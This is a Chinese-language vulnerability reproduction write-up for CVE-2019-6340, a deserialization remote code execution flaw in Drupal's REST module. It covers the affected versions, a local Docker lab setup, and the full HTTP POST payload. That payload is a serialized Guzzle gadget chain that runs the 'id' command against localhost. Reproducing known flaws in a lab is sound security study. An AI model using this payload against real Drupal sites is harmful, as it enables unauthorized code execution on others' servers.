CVE-2019-6340 Drupal REST RCE漏洞复现

本次作为记录,使用环境为大佬搭建的

0x01 漏洞描述

Drupal 是使用 PHP 语言编写的开源内容管理框架,Drupal 综合了强大并可自由配置的功能,能支持各种不同应用的网站项目。其 Drupal 社区是全球大的开源社区之一, 在社区的维护下,Drupal 的代码在安全性、健壮性上具有世界较高水平。

2019/02/20,Drupal 安全团队披露了一个安全漏洞(CVE-2019-6340 /SA-CORE-2019-003)[2],如果网站开启了 RESTful Web Services(默认不开启)并允许

POST/PATCH 请求,在进行 REST API 操作的过程中,会将未经安全过滤的参数内容带入unserialize 函数而触发反序列化漏洞,进而导致任意代码执行。

2019/02/22,Seebug 平台收录了这个漏洞[3],知道创宇 404 实验室漏洞情报团队开始漏洞应急,复现了这个漏洞。

影响版本

Drupal < 8.6.10
Drupal < 8.5.12

0x02 环境搭建

来源:https://cloud.tencent.com/developer/article/1511942
本环境也可以通过公开Docker搭建,搭建步骤如下:

使用search命令查找docker search CVE-2019-6340


然后拉取第一个镜像,使用pull命令 docker pull knqyf263/cve-2019-6340

拉取完成如下

然后启动镜像,运行环境 docker run -d -p 80:80 --name Drupal8 knqyf263/cve-2019-6340

搭建成功,主页如下:

0x03 漏洞复现

漏洞地址

http://localhost/node/?_format=hal_json


我们打开burpsuite进行抓包,并利用重发器发包
本次漏洞公开payoad为:

POST /node/?_format=hal_json HTTP/1.1
Host: localhost
User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection:  keep-alive
Content-Type: application/hal+json
Accept:  */*
Cache-Control: no-cache
Content-Length: 636

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://localhost/rest/type/shortcut/default"
    }
  }
}

用burpsuite重发器发包,返回结果如下


payload中"options"内的值为php反序列化后的结果,并且执行了"id"命令并返回了结果,故可以通过此payload构造执行远端任意代码。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值